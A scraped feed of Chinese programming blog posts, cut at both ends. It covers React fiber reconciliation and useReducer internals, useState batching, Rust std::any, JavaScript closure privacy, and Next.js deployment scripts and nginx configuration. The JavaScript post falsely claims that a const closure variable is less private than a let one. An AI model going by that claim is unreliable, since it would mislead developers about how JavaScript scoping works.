修改 reconcileSingleElement 函数,实现删除单个节点 deleteChild 和删除多个节点 deleteRemainingChildren

  function deleteChild(returnFiber: Fiber, childToDelete: Fiber) {
    // 初次渲染
    if (!shouldTrackSideEffects) {
      return;
    }
    
    // 把所有要删除的节点放在父 fiber 上
    const deletions = returnFiber.deletions;
    if (deletions === null) {
      returnFiber.deletions = [childToDelete];
      returnFiber.flags |= ChildDeletion;
    } else {
      returnFiber.deletions!.push(childToDelete);
    }
  }
  
  // 删除多个节点
  function deleteRemainingChildren(
    returnFiber: Fiber,
    currentFirstChild: Fiber | null
  ) {
    if (!shouldTrackSideEffects) {
      return;
    }

    // 初始值
    let childToDelete = currentFirstChild;
    while (childToDelete !== null) {
      deleteChild(returnFiber, childToDelete);
      childToDelete = childToDelete.sibling;
    }

    return null;
  }

// 协调单个节点,对于页面初次渲染,创建 fiber,不涉及对比复用老节点
// new (1)
// old 2 [1] 3 4
function reconcileSingleElement(
    returnFiber: Fiber,
    currentFirstChild: Fiber | null,
    element: ReactElement
) {
    // 节点复用的条件
    // 1. 同一层级下 2. key 相同 3. 类型相同
    // element 和 currentFirstChild 对应同一个父级,第一个条件满足
    const key = element.key;
    let child = currentFirstChild;

    while (child !== null) {
      if (child.key === key) {
        const elementType = element.type;
        // 可以复用
        if (child.elementType === elementType) {
          // todo 后面其它 fiber 可以删除了
          
          const existing = useFiber(child, element.props);
          existing.return = returnFiber;
          return existing;
        } else {
          // 前提:React 不认为同一层级下有两个相同的 key 值
          deleteRemainingChildren(returnFiber, child);
          break;
        }
      } else {
        // 删除单个节点
        deleteChild(returnFiber, child);
      }
      // 老 fiber 节点是单链表
      child = child.sibling;
    }

    let createdFiber = createFiberFromElement(element);
    createdFiber.return = returnFiber;
    return createdFiber;
}

Commit 阶段

commitReconciliationEffects 增加删除的 case。

// fiber.stateNode 是 DOM 节点
export function isHost(fiber: Fiber): boolean {
  return fiber.tag === HostComponent || fiber.tag === HostText;
}

// 获取子 dom 节点
function getStateNode(fiber: Fiber) {
  let node = fiber;
  while (1) {
    if (isHost(node) && node.stateNode) {
      return node.stateNode;
    }
    node = node.child as Fiber;
  }
}

// 根据 fiber 删除 dom 节点,必须有父 dom、子 dom
// 删除多个 dom 节点
function commitDeletions(
  deletions: Array<Fiber>,
  parentDOM: Element | Document | DocumentFragment
) {
  deletions.forEach((deletion) => {
    parentDOM.removeChild(getStateNode(deletion));
  });
}

function commitReconciliationEffects(finishedWork: Fiber) {
  const flags = finishedWork.flags;
  if (flags & Placement) {
    // 页面初次渲染 新增插入 appendChild
    // todo 页面更新,修改位置 appendChild || insertBefore
    commitPlacement(finishedWork);
    finishedWork.flags &= ~Placement;
  }
  // 删除
  if (flags & ChildDeletion) {
    // parentFiber 是 deletions 的父 dom 对应的 fiber
    const parentFiber = isHostParent(finishedWork)
      ? finishedWork
      : getHostParentFiber(finishedWork);
    const parentDOM = parentFiber.stateNode;
    commitDeletions(finishedWork.deletions!, parentDOM);
    finishedWork.flags &= ~ChildDeletion;
    finishedWork.deletions = null;
  }
}

React useState 深度解析:同步还是异步?

2025年7月13日 10:17

前言

在 React 开发中,useState 是我们最常用的 Hook 之一,但很多开发者对其更新机制存在误解。今天就来深入探讨一下 useState 的工作原理,特别是大家经常困惑的"setState 是同步的吗?"这个问题。

useState 基础介绍

useState 是 React 内置的 Hook,用于给函数组件添加状态管理功能。它接受一个初始值作为参数,返回一个数组,第一项是当前状态值,第二项是更新状态的函数。

import { useState } from 'react'

function App() {
  const [count, setCount] = useState(0);
  const [title, setTitle] = useState('');
  const [color, setColor] = useState('');
  
  return (
    <div>
      <p>当前记数:{count}</p>
    </div>
  )
}

setState 到底是同步还是异步?

这是一个经典问题,答案是:异步的,不是同步的

让我们通过一个实际例子来理解:

const handleClick = () => {
  // 这样写会发生什么?
  setCount(count + 1);
  setCount(count + 3);
  setCount(count + 2);
  setColor("")
  setTitle("")
}

你可能以为最终 count 会增加 6,但实际上只会增加 2。这是因为:

React 的性能优化机制

React 出于性能优化考虑,会合并多次更新并统一处理。这样做的好处是:

  1. 减少重绘重排:避免频繁的 DOM 操作
  2. 优化数据绑定:界面更新合并为一次
  3. 提升渲染性能:JS 引擎(V8)和渲染引擎(Blink)之间的协作更高效

在上面的例子中,三次 setCount 调用都是基于同一个 count 值,所以最终只有最后一次生效。

函数式更新:解决方案

React 提供了函数式更新语法来解决这个问题:

const handleClick = () => {
  // 使用函数式更新语法
  // 每个更新都基于上一个最新的更新
  setCount(prev => prev + 1);
  setCount(prev => prev + 1);
  setCount(prev => prev + 1);
  // 界面的更新仍然合并为一次
}

这种方式确保每次更新都基于最新的状态值,虽然界面更新仍然是合并的,但状态计算是正确的。这种写法每次点击一次按钮count都会+3。

完整的示例代码

让我们看一个完整的计数器示例:

import { useState } from 'react'
import './App.css'

function App() {
  const [count, setCount] = useState(0);
  const [title, setTitle] = useState('');
  const [color, setColor] = useState('');
  
  const handleClick = () => {
    // 使用函数式更新确保每次都基于最新值
    setCount(prev => prev + 1);
    setCount(prev => prev + 1);
    setCount(prev => prev + 1);
  }
  
  return (
    <>
      <p>当前记数:{count}</p>
      <button onClick={handleClick}>+3</button>
    </>
  )
}

export default App

对应的样式文件:

#root {
  max-width: 1280px;
  margin: 0 auto;
  padding: 2rem;
  text-align: center;
}

button {
  border-radius: 8px;
  border: 1px solid transparent;
  padding: 0.6em 1.2em;
  font-size: 1em;
  font-weight: 500;
  font-family: inherit;
  background-color: #1a1a1a;
  cursor: pointer;
  transition: border-color 0.25s;
}

button:hover {
  border-color: #646cff;
}

点击之前:


image.png

点击一次之后:


image.png

理解更新机制的本质

从技术角度来看,React 的这种设计体现了以下几个关键点:

1. 批处理机制

React 会将同一个事件处理函数中的多个状态更新进行批处理,这样可以避免不必要的重渲染。

2. 引擎协作

现代浏览器中,JS 引擎(如 V8)和渲染引擎(如 Blink)需要协作完成页面更新。React 的批处理机制减少了这种协作的开销。

3. 状态不可变性

React 遵循不可变性原则,每次状态更新都会产生新的状态对象,这也是为什么直接修改状态不会触发重渲染的原因。

最佳实践建议

  1. 使用函数式更新:当新状态依赖于前一个状态时,始终使用函数式更新
  2. 理解异步特性:不要期望在调用 setState 后立即获取到新值
  3. 合理规划状态结构:避免过度细分状态,减少不必要的更新

总结

useState 的异步特性是 React 性能优化的重要组成部分。理解这一点对于编写高性能的 React 应用至关重要。记住:

  • setState 是异步的,会进行批处理
  • 使用函数式更新来处理依赖前一个状态的情况
  • React 的设计目标是减少重渲染,提升用户体验

掌握了这些概念,相信你在使用 useState 时会更加得心应手!

Rust 动态类型与类型反射详解

2025年7月13日 09:46

本文来自公众号 猩猩程序员 欢迎关注

wechat_2025-07-12_071812_753.png

std::any 模块提供了动态类型类型反射的工具 。在Rust这种静态类型语言中,这个模块让我们能够在运行时检查和操作类型信息。

核心内容

1. Any trait(任意类型特征)

Any trait 是实现动态类型的核心,它允许我们:

  • 在运行时检查值的具体类型
  • 将值从 &dyn Any 转换回原始类型

2. TypeId 结构体

TypeId 代表类型的全局唯一标识符 ,用于类型比较和识别。

主要方法详解

类型检查和转换方法

  1. is<T>() - 检查值是否为指定类型
  2. downcast_ref<T>() - 尝试获取不可变引用
  3. downcast_mut<T>() - 尝试获取可变引用
  4. downcast<T>() - 尝试转换为 Box<T>

实际应用示例

1.基础类型检查和转换

use std::any::Any;

fn process_value(value: &dyn Any) {
    // 检查是否为字符串类型
    if let Some(string_val) = value.downcast_ref::<String>() {
        println!("这是一个字符串: {}", string_val);
    }
    // 检查是否为整数类型
    else if let Some(int_val) = value.downcast_ref::<i32>() {
        println!("这是一个整数: {}", int_val);
    }
    // 检查是否为浮点数类型
    else if let Some(float_val) = value.downcast_ref::<f64>() {
        println!("这是一个浮点数: {}", float_val);
    }
    else {
        println!("未知类型");
    }
}

fn main() {
    let text = String::from("Hello Rust");
    let number = 42i32;
    let pi = 3.14f64;
    
    process_value(&text);
    process_value(&number);
    process_value(&pi);
}

2.智能指针与 dyn Any 的注意事项

一个重要用法

use std::any::{Any, TypeId};

fn demonstrate_smart_pointer_behavior() {
    let boxed: Box<dyn Any> = Box::new(3_i32);
    
    // 错误做法:这会返回 Box<dyn Any> 的 TypeId
    let boxed_id = boxed.type_id();
    
    // 正确做法:这会返回 i32 的 TypeId
    let actual_id = (&*boxed).type_id();
    
    assert_eq!(actual_id, TypeId::of::<i32>());
    assert_eq!(boxed_id, TypeId::of::<Box<dyn Any>>());
    
    println!("智能指针的 TypeId: {:?}", boxed_id);
    println!("实际值的 TypeId: {:?}", actual_id);
}

3.官方文档中的日志记录示例

这个示例展示了如何为不同类型提供特殊处理:

use std::fmt::Debug;
use std::any::Any;

// 通用日志函数,对字符串类型给予特殊处理
fn log<T: Any + Debug>(value: &T) {
    let value_any = value as &dyn Any;
    
    // 尝试将值转换为字符串类型
    match value_any.downcast_ref::<String>() {
        Some(as_string) => {
            // 对字符串类型,额外显示长度信息
            println!("字符串 (长度: {}): {}", as_string.len(), as_string);
        }
        None => {
            // 其他类型直接打印
            println!("{:?}", value);
        }
    }
}

// 工作函数,在处理前记录参数
fn do_work<T: Any + Debug>(value: &T) {
    log(value);
    // ...执行其他工作
}

fn main() {
    let my_string = "Hello World".to_string();
    do_work(&my_string);  // 输出: 字符串 (长度: 11): Hello World
    
    let my_i8: i8 = 100;
    do_work(&my_i8);      // 输出: 100
}

4.实际应用场景 - 配置系统

use std::any::Any;
use std::collections::HashMap;

// 通用配置存储系统
struct ConfigStore {
    values: HashMap<String, Box<dyn Any>>,
}

impl ConfigStore {
    fn new() -> Self {
        ConfigStore {
            values: HashMap::new(),
        }
    }
    
    // 存储任意类型的配置值
    fn set<T: Any>(&mut self, key: &str, value: T) {
        self.values.insert(key.to_string(), Box::new(value));
    }
    
    // 获取指定类型的配置值
    fn get<T: Any>(&self, key: &str) -> Option<&T> {
        self.values.get(key)?
            .downcast_ref::<T>()
    }
}

fn main() {
    let mut config = ConfigStore::new();
    
    // 存储不同类型的配置
    config.set("server_port", 8080u16);
    config.set("server_name", "MyServer".to_string());
    config.set("debug_mode", true);
    config.set("max_connections", 100i32);
    
    // 读取配置
    if let Some(port) = config.get::<u16>("server_port") {
        println!("服务器端口: {}", port);
    }
    
    if let Some(name) = config.get::<String>("server_name") {
        println!("服务器名称: {}", name);
    }
    
    if let Some(debug) = config.get::<bool>("debug_mode") {
        println!("调试模式: {}", debug);
    }
    
    // 类型不匹配的情况
    if let Some(_) = config.get::<String>("server_port") {
        println!("这不会被打印,因为类型不匹配");
    } else {
        println!("端口不是字符串类型");
    }
}

重要限制和注意事项

  1. 类型限制&dyn Any 只能测试值是否为指定的具体类型,不能用于测试类型是否实现了某个 trait。

  2. 智能指针陷阱:使用 Box<dyn Any>Arc<dyn Any> 时,直接调用 .type_id() 会返回容器的类型ID,而不是内部值的类型ID。

  3. 性能考虑:类型检查和转换是运行时操作,相比编译时类型检查会有性能开销。

辅助函数

模块还提供了两个实用函数:

  • type_name<T>() - 返回类型名称的字符串切片
  • type_name_of_val(val) - 返回值的类型名称
use std::any::{type_name, type_name_of_val};

fn main() {
    let x = 42i32;
    let y = "hello";
    
    println!("x 的类型: {}", type_name::<i32>());        // 输出: i32
    println!("y 的类型: {}", type_name_of_val(&y));      // 输出: &str
}

简单粽结一下吧

std::any 模块为Rust提供了强大的运行时类型反射能力,主要应用场景包括:

  • 通用数据存储系统
  • 插件系统
  • 序列化/反序列化
  • 调试和日志记录
  • 动态配置系统

应用场景很多,根据自己情况使用

虽然这些功能打破了Rust的静态类型安全性,但在某些场景下是必要的工具。使用时需要注意类型安全和性能影响。

本文来自公众号 猩猩程序员 欢迎关注

wechat_2025-07-12_071812_753.png

JavaScript 中的“伪私有”与“真私有”:你以为的私有变量真的安全吗?

作者 小飞悟
2025年7月12日 23:53

在前端开发中,我们经常看到变量名以下划线开头,比如 _title_count,这是一种常见的编码约定,用来表示这个变量是“受保护的”,不应该被外部直接访问。

但你有没有想过:

这些“下划线变量”真的是私有的吗?它们真的不能被修改吗?

本文将带你一步步揭开 JavaScript 中“伪私有”与“真私有”的面纱,深入理解变量作用域、闭包机制以及如何实现更安全的数据封装。


🧠 JavaScript 为什么没有“真正的私有”?

JavaScript 在设计之初并没有像 Java、C++ 那样的 private 关键字来限制类成员的访问权限。直到 ES6 引入了类(class)语法,才支持了使用 # 前缀定义真正的私有字段(如 #title),但在那之前,开发者只能通过作用域闭包来模拟私有性。

这就导致了一个现象:很多开发者误以为以下划线开头的变量就是“私有变量”,但实际上它只是个“伪私有”。


🔍 什么是“伪私有变量”?

来看一个典型的构造函数写法:

function Book(title) {
    const _title = title;

    this.getTitle = function () {
        return _title;
    };
}

在这个例子中:

  • _title 是用 const 声明的局部变量,没有挂到 this 上。
  • 外部无法通过 book._title 访问。
  • 看起来像是“私有变量”,但它真的不可见或不可改吗?

⚠️ 实际情况:

  • 如果你在控制台打印出 book 对象,可能会在闭包中看到 _title 的值。
  • 在某些调试器中,甚至可以直接修改它的值。
  • 所以,这种变量并不是完全私有的 —— 它只是一个“受保护的命名约定”。

🔒 那什么才是“真正的私有变量”?

真正的私有变量应该满足两个条件:

  1. 外部无法直接访问
  2. 只能通过特定的方法间接操作

要实现这一点,我们需要借助 闭包(Closure)

看下面这段代码:

function Book(title) {
    let count = 0; // ✅ 真正的私有变量

    const _title = title;

    this.getTitle = function () {
        return _title;
    };

    this.increaseCount = function () {
        count++;
    };

    this.getCount = function () {
        return count;
    };
}

在这个例子中:

  • count 是用 let 声明的局部变量,没有暴露给外部。
  • 外部既不能访问也不能修改 count,除非调用公开方法(如 increaseCount()getCount())。
  • 这种方式利用了闭包的特性,确保变量只存在于内部上下文中,从而实现了“真正的私有性”。

📌 类比理解:办公室里的抽屉和保险柜

写法 类比 安全性
this.title = title 文件堆在办公桌上 ❌ 完全不安全
const _title = title 文件锁在抽屉里,钥匙你自己拿着 ⚠️ 可能被撬开
let count = 0 文件锁在保险柜里,只有你有钥匙 ✅ 完全安全

🤔 为什么推荐使用闭包来封装数据?

闭包之所以强大,是因为它可以:

  • 创建独立的作用域空间
  • 保持变量的生命周期
  • 实现对外隐藏、对内开放的封装效果

这正是现代模块化开发中推崇的设计理念之一。

例如,我们可以这样封装一个计数器模块:

function createCounter() {
    let count = 0;

    return {
        increment() {
            count++;
        },
        getCount() {
            return count;
        }
    };
}

const counter = createCounter();
counter.increment();
console.log(counter.getCount()); // 输出 1
console.log(counter.count);      // 输出 undefined

在这个例子中,外部根本无法访问 count,只能通过返回的对象方法进行操作 —— 这就是真正的封装。


💡 Demo一下:“伪私有”和“真私有”的区别

运行以下代码看看输出结果:

function Book() {
    const _name = "JavaScript";
    let count = 0;

    this.getName = function () {
        return _name;
    };

    this.inc = function () {
        count++;
    };

    this.getCount = function () {
        return count;
    };
}

const b = new Book();

console.log(b._name);     // undefined
console.log(b.count);     // undefined
console.log(b.getName()); // JavaScript

b.inc();
console.log(b.getCount()); // 1

虽然 _namecount 都不在 this 上,但通过方法仍然可以访问和操作。这说明:

  • _name 是“伪私有”
  • count 是“真私有”

🛠 如何判断一个变量是否真正私有?

你可以从以下几个方面判断:

判断标准 描述
是否可以通过对象属性访问 不能访问则可能是私有
是否可以在控制台查看 如果看不到,则更接近私有
是否可以通过闭包操作 如果只能通过方法修改,则是真正的私有
是否属于闭包变量 属于闭包的变量更安全

JavaScript 中没有“真正的私有”关键字,但你可以通过闭包来模拟私有性。_title 是一种“受保护的变量”,适合封装;而 let count = 0 才是真正的私有变量,外部完全看不见。


📘 推荐阅读&建议学习

如果你希望进一步掌握闭包、作用域链等进,建议继续学习:

  • 《你不知道的 JavaScript》系列(上卷、中卷)
  • MDN 文档中的 闭包
  • 使用 IIFE(立即执行函数表达式)封装模块
  • ES6+ 中的私有类字段(#field

nextjs项目部署流程

2025年7月12日 23:24

开发环境和生产环境nextjs的产物区别

Next.js 中“静态资源”的几种类型:

类型 放置位置 访问路径 示例
公开资源(public) /public /xxx /public/logo.png → /logo.png
构建产物(_next/static) 自动生成,放在内存中 /_next/static/... 构建时生成的 JS、CSS、图片等
静态导出的页面 SSG 页面输出为 HTML 文件 自定义路径或嵌入构建目录 /about → about.html(仅限 export 模式)

开发环境

  1. 内部启动一个 Node.js + Webpack(或 Turbopack) 的服务
  2. 所有静态资源都是内存中实时生成,不是写在磁盘上的
  3. 公开资源 public/ 文件照常访问,无需打包
  4. 所有 JS/CSS/图片资源由 /_next/static/ 路径动态提供

特点:

特性 是否持久存储 说明
public/ 静态资源 ✅ 有磁盘文件 本地文件系统直接读取
/_next/static/ 资源 ❌ 无磁盘文件 临时缓存于内存中,实时构建

生产环境

路径 说明
.next/static/chunks/ 各页面按需加载的 JS chunk
.next/static/media/ 使用 import 的图片、字体等静态文件
public/ 所有手动放的公开资源,不会变,直接拷贝

构建完成后所有这些资源可以通过 /_next/static/xxx 路径访问,Next.js 会自己提供路由处理。

部署后的静态资源加载流程:

  1. 用户访问页面(如 /about
  2. 服务端返回 SSR 或 SSG 渲染页面
  3. 页面中会加载 /_next/static/... 的 JS 和 CSS
  4. 浏览器请求这些资源,Next.js 服务会直接返回 .next/static 下的文件内容
  5. 所有 /public 下资源,继续通过 /logo.png/favicon.ico 等路径访问

项目 Logo、图标等公开资源可以放在public下,这样就能直接通过/logo.png/favicon.ico这种方式访问

为什么有的时候,执行nextjs build后,再run dev会报错,删除.next文件就正常了?

开发环境下,虽然大部分资源是内存中动态生成,但 路由信息,构建缓存,以及某些临时文件等部分缓存和中间产物依然会写入 .next 文件夹,如果 .next 目录被生产环境的构建产物污染,开发服务器可能会读取到不兼容的内容,导致报错。

部署方案一:前后端分离

使用nodejs部署

本地打包方案

在本地执行npm run build后,nextjs会生成一个.next文件夹,存放打包好的文件。nextjs包含了所有预编译的页面、服务端渲染模块等。但运行生产服务(npm startnext start)时,它仍然需要以下东西:

.next/                   构建产物
public/                  静态资源
package.json             启动和依赖声明
package-lock.json        锁定依赖
scripts/deploy.sh        脚本文件(可选但推荐)
.env.production          环境变量
next.config.js           配置文件(如你自定义了)

我们可以执行以下命令将所有需要的东西打成一个.tar.gz的压缩包

tar czf next-app.tar.gz \
  .next \
  public \
  package.json \
  package-lock.json \
  next.config.js \
  .env.production \
  scripts

注意:如果你不上传 node_modules/,服务器上要执行一次 npm install!!!!!

接下来我们就可以写一个部署脚本了。

在项目中添加scripts文件夹,结构如下:

your-nextjs-project/
├── scripts/               ← 存放所有脚本的目录(推荐)
│   └── deploy.sh          ← 这是部署脚本
├── package.json
├── .next/
├── app/ 或 pages/
└── ...

脚本内容:

#!/bin/bash

# 变量
APP_NAME="next-app"
# /var/www/ 是系统目录,普通用户没有写权限,需要确保用户有权限,否则可以改为用户拥有权限的位置(如 /home/ubuntu/next-app)
DEPLOY_DIR="/var/www/$APP_NAME"
#非必须,可以通过DEPLOY_USER获取当前执行人,但一般都使用root用户
DEPLOY_USER=$(whoami) 

echo "🚀 正在部署 Next.js 应用到 $DEPLOY_DIR"
echo "👤 当前用户: $DEPLOY_USER"

# 创建部署目录,如果有该目录也不会被覆盖
mkdir -p "$DEPLOY_DIR"

#不推荐 rm -rf "$DEPLOY_DIR" 整体删除,目录权限可能丢失
echo "🧹 清理旧构建文件..."
rm -rf "$DEPLOY_DIR/.next"
rm -rf "$DEPLOY_DIR/public"
rm -f "$DEPLOY_DIR/package.json"
rm -f "$DEPLOY_DIR/package-lock.json"
rm -f "$DEPLOY_DIR/next.config.js"
rm -f "$DEPLOY_DIR/.env.production"

# 解压上传的包
echo "📦 解压上传文件..."
# 会覆盖同名文件
tar -xzf next-app.tar.gz -C "$DEPLOY_DIR" --strip-components=1

cd "$DEPLOY_DIR"

# 安装依赖
echo "📦 安装依赖..."
npm install --omit=dev

# 启动应用(推荐使用 pm2)
if command -v pm2 &> /dev/null; then
  if pm2 list | grep -q "$APP_NAME"; then
    echo "🔁 正在重启 $APP_NAME..."
    pm2 restart "$APP_NAME"
  else
    echo "🚀 正在启动 $APP_NAME..."
    pm2 start npm --name "$APP_NAME" -- start
  fi
  pm2 save
else
  echo "⚠️ 未安装 pm2,将直接使用 npm 启动(需保持终端打开)"
  npm start
fi

echo "✅ 部署完成!你现在可以访问你的服务了。"

服务器部署流程

具体操作步骤见我的服务器上传登录流程

# 上传压缩包
scp next-app.tar.gz youruser@yourserver:/var/www/

# 登录服务器
ssh youruser@yourserver

# 解压和执行部署脚本
cd /var/www/
tar xzf next-app.tar.gz

# 有脚本的情况, 执行脚本
cd next-app-dist/scripts/
# 首次给执行权限(只需一次)
chmod +x deploy.sh
./deploy.sh

# 没有脚本的情况,手动执行,和有脚本的情况保留一个既可
# 安装依赖(如果没有上传 node_modules)
npm install
# 启动服务(推荐使用 pm2)
npm start         # 或 pm2 start npm --name next-app -- start

git拉取代码部署(后续再完善)

更改脚本:

#!/bin/bash

# 项目配置
REPO_URL="git@github.com:user/next-app.git"
BRANCH="main"
APP_NAME="next-app"
DEPLOY_DIR="/var/www/$APP_NAME"

echo "🚀 开始部署 $APP_NAME"

# 如果目录不存在,克隆;否则拉取最新
if [ ! -d "$DEPLOY_DIR" ]; then
  echo "📥 克隆仓库到 $DEPLOY_DIR"
  git clone -b $BRANCH $REPO_URL "$DEPLOY_DIR"
else
  echo "🔄 拉取最新代码"
  cd "$DEPLOY_DIR"
  git fetch origin $BRANCH
  git reset --hard origin/$BRANCH
fi

cd "$DEPLOY_DIR"

# 安装依赖(只安装生产依赖)
echo "📦 安装依赖..."
npm install --omit=dev

# 构建项目
echo "🏗️ 构建项目..."
npm run build

# 启动或重启服务
if command -v pm2 &> /dev/null; then
  if pm2 list | grep -q "$APP_NAME"; then
    echo "🔁 重启服务..."
    pm2 restart "$APP_NAME"
  else
    echo "🚀 启动服务..."
    pm2 start npm --name "$APP_NAME" -- start
  fi
  pm2 save
else
  echo "⚠️ 未安装 pm2,将直接启动(非守护)"
  npm start
fi

echo "✅ 部署完成!"

部署方案二 前端资源嵌入到后端的 Java 应用中

很多 Java 后端项目(如使用 Spring Boot)中常见的一种部署方式。它的核心思想是:将前端静态资源(如 Next.js 构建后的 HTML、JS、CSS 等)作为资源嵌入到后端的 Java 应用中,然后通过后端来统一对外提供服务,打成一个可执行的 .jar 包,直接运行即可部署。

这个过程可以分为三步:

  1. 前端构建(Next.js)

    你首先运行:

    npm run build
    

    然后获取构建后的静态资源,通常位于:

    .next/
    public/   ← 静态资源目录
    

    不过 Next.js 是服务端渲染框架,不像 Vue/React 的纯前端 SPA 构建后只有静态 HTML/JS,它需要 Node 服务来运行。

    ⚠️ 所以通常用于打进 .jar 的前端项目是纯静态页面(比如 Vue CLI、Vite 构建的项目),而不是 SSR 的 Next.js 项目,除非你把 Next.js export 成纯静态 HTML(用 next export

  2. 将前端静态资源复制到 Java 项目的 resources/static

    在 Spring Boot 项目中,有一个目录:

    src/main/resources/static/
    

    你可以把构建好的前端资源(如 out/dist/)拷贝进去:

    # 举例:将前端构建结果复制到后端静态目录
    cp -r your-frontend-project/out/* your-springboot-project/src/main/resources/static/
    

    Spring Boot 会自动将 static/ 下的资源映射为 Web 资源,用户访问 / 会加载你的前端首页。

得到一个完整的 .jar 文件,只需使用 Java 运行 jar:java -jar target/app-1.0.0.jar, 这个 .jar 是一个完整的 HTTP 服务(内嵌了 Tomcat),会监听端口,比如 http://localhost:8080

注意:仅限使用 next export 将项目转成纯静态资源时:npx next export,会生成一个 out/ 文件夹,你可以把里面的文件复制进 Spring Boot 的 static/

后端代理前端开发环境

有的时候会遇到后端想要代理前端的开发起的服务,然后会出现访问静态资源403,这是因为:

Next.js 的 dev server 默认是按根路径 / 提供静态资源的。

一旦你通过代理让访问路径变成了 /frontend/,而又没配置对应的 basePath,前端就找不到资源了,或者服务端返回 403(禁止访问)。

解决方案:使用 basePath + 代理转发配置匹配

设置 next.config.js

/** @type {import('next').NextConfig} */
const nextConfig = {
  basePath: '/frontend', // 👈 设置访问前缀
}

module.exports = nextConfig

这样所有页面、静态资源、JS 都会自动以 /frontend 为前缀。

此时如果需要访问/pubilc等公共资源,也需要加上/frontend

例如:

  • 页面变成 /frontend
  • 静态资源变成 /frontend/_next/static/xxx.js

网关/反向代理配置转发 /frontendlocalhost:3000

location /frontend/ {
  proxy_pass http://localhost:3000/frontend/; # 👈 保留 /frontend
  proxy_http_version 1.1;
  proxy_set_header Host $host;
  proxy_set_header Connection '';
  proxy_cache_bypass $http_upgrade;
}

注意:一定 不要去掉 /frontend/ 路径,否则前端的 basePath 会找不到

proxy_pass` 后面也要带上 `/frontend/

访问地址

你现在应该访问:http://后端网关IP/frontend,就可以访问到 Next.js 页面、JS、图片等静态资源,不再 403 / 404

为什么不通过网关或nginx为 _next 静态资源添加代理?

  1. 资源路径割裂: 页面路径是 /frontend,资源路径是 /_next,路径逻辑不一致
  2. SSR 返回的 HTML 不一致: 服务端返回的 HTML 中资源引用路径是 /_next/...,但页面在 /frontend
  3. 缺少统一前缀控制: 页面和资源分别配置,不如使用 basePath 一致性好
  4. 法代理静态文件如 /favicon.ico/robots.txt 等: 因为这些资源也要单独加代理才生效

因此,推荐使用basePath,自动解决路径和资源映射问题

在本地联调接口,配置代理

假设我们需要在本地开发时,调试接口,并且后端会代理我们的服务,最后还需要部署到线上,我们可以如下处理:

一、使用环境变量管理接口地址

.env.development     # 开发环境
.env.production      # 生产环境

.env.development 和 .env.production 文件名可以随便改吗?

不可以!Next.js(以及大多数 Node.js 项目)会自动识别以下几种环境变量文件名:

  • .env(通用环境变量)
  • .env.local(本地覆盖,git 忽略)
  • .env.development(开发环境专用)
  • .env.development.local(开发环境本地覆盖)
  • .env.production(生产环境专用)
  • .env.production.local(生产环境本地覆盖)

项目如何区分生产环境和开发环境?

Next.js 通过环境变量 NODE_ENV 来区分:

  • NODE_ENV=development:开发环境(next dev 时自动设置)
  • NODE_ENV=production:生产环境(next build 和 next start 时自动设置)

加载顺序:

运行环境 加载顺序(后者覆盖前者)
开发环境 .env → .env.local → .env.development → .env.development.local
生产环境 .env → .env.local → .env.production → .env.production.local

二、配置接口环境变量

.env.development

NEXT_PUBLIC_API_BASE=/api

.env.production

# 有nginx代理
NEXT_PUBLIC_API_BASE=/web
# 没有nginx或者网关代理就写真实地址
NEXT_PUBLIC_API_BASE=https://api.yourdomain.com

变量名必须以 NEXT_PUBLIC_ 开头,才能在客户端代码中访问 EXT_PUBLIC_ 前缀是 Next.js 的一个安全机制:

  • 只有以 NEXT_PUBLIC_ 开头的环境变量才会被注入到前端代码
  • 其他环境变量只能在服务端使用,不会暴露到前端

让开发者必须显式声明哪些环境变量是公开的,避免意外泄露敏感信息。

三、封装 Axios 实例

import axios from 'axios'

const service = axios.create({
  baseURL: process.env.NEXT_PUBLIC_API_BASE, // 👈 环境自动切换
  timeout: 10000,
  withCredentials: true,
})

四、开发环境:配合 rewrites 实现接口代理

const nextConfig = {
  async rewrites() {
// 生产环境下也会走rewrites需要做判断
    if (process.env.NODE_ENV === 'development') {
      return [
        {
          source: '/api/:path*',
          destination: 'http://10.1.1.1:4000/:path*', // 后端真实路径(无 /api)
        },
      ]
    }

    return []
  },
}

module.exports = nextConfig

开发时前端请求 /api/user/info,Next.js 会自动转发到后端,无跨域。

五、生产环境配合nginx

# 假设页面路径是 /web(Next.js 的 basePath 可选设置)
location /web/ {
  proxy_pass http://localhost:3000/web/;
  proxy_set_header Host $host;
}

# 如果没配置basePath
 location / {
   proxy_pass http://localhost:3000;  # 代理到 Next.js 服务
   proxy_set_header Host $host;
   proxy_set_header X-Real-IP $remote_addr;
  }
}


# 接口路径也是 /web/xxx,但实际转发为 /xxx
location ~ ^/web/(.*)$ {
  rewrite ^/web/(.*)$ /$1 break;
  proxy_pass http://10.1.1.1:4000;
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
}

选配:如果你前端页面也部署在 /web 路径下):

// next.config.js
module.exports = {
  basePath: '/web',
  async rewrites() {
    const isDev = process.env.NODE_ENV === 'development'
    return isDev
      ? [
          {
            source: '/api/:path*',
            destination: 'http://10.1.1.1:4000/:path*',
          },
        ]
      : []
  }
}

React 实现 useReducer

作者 june18
2025年7月12日 22:47

本文将带大家实现 useReducer。

先看下如何使用。

function FunctionComponent() {
  const [count1, setCount1] = useReducer((x) => x + 1, 0);

  return (
    <div className="border">
      <button
        onClick={() => {
          setCount1();
        }}
      >
        {count1}
      </button>
    </div>
  );
}

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  (<FunctionComponent />) as any
);

Render 阶段

BeginWork 阶段

reconcileSingleElement 增加了判断节点是否可复用的逻辑。

export function createWorkInProgress(current: Fiber, pendingProps: any): Fiber {
  let workInProgress = current.alternate;
  if (workInProgress === null) {
    workInProgress = createFiber(current.tag, pendingProps, current.key);
    workInProgress.elementType = current.elementType;
    workInProgress.type = current.type;
    workInProgress.stateNode = current.stateNode;

    workInProgress.alternate = current;
    current.alternate = workInProgress;
  } else {
    workInProgress.pendingProps = pendingProps;
    workInProgress.type = current.type;
    workInProgress.flags = NoFlags;
  }

  workInProgress.flags = current.flags;
  workInProgress.childLanes = current.childLanes;
  workInProgress.lanes = current.lanes;

  workInProgress.child = current.child;
  workInProgress.memoizedProps = current.memoizedProps;
  workInProgress.memoizedState = current.memoizedState;
  workInProgress.updateQueue = current.updateQueue;

  workInProgress.sibling = current.sibling;
  workInProgress.index = current.index;

  return workInProgress;
}

function useFiber(fiber: Fiber, pendingProps: any) {
    const clone = createWorkInProgress(fiber, pendingProps);
    clone.index = 0;
    clone.sibling = null;
    return clone;
}

// 协调单个节点,对于页面初次渲染,创建 fiber,不涉及对比复用老节点
// new (1)
// old 2 [1] 3 4
function reconcileSingleElement(
    returnFiber: Fiber,
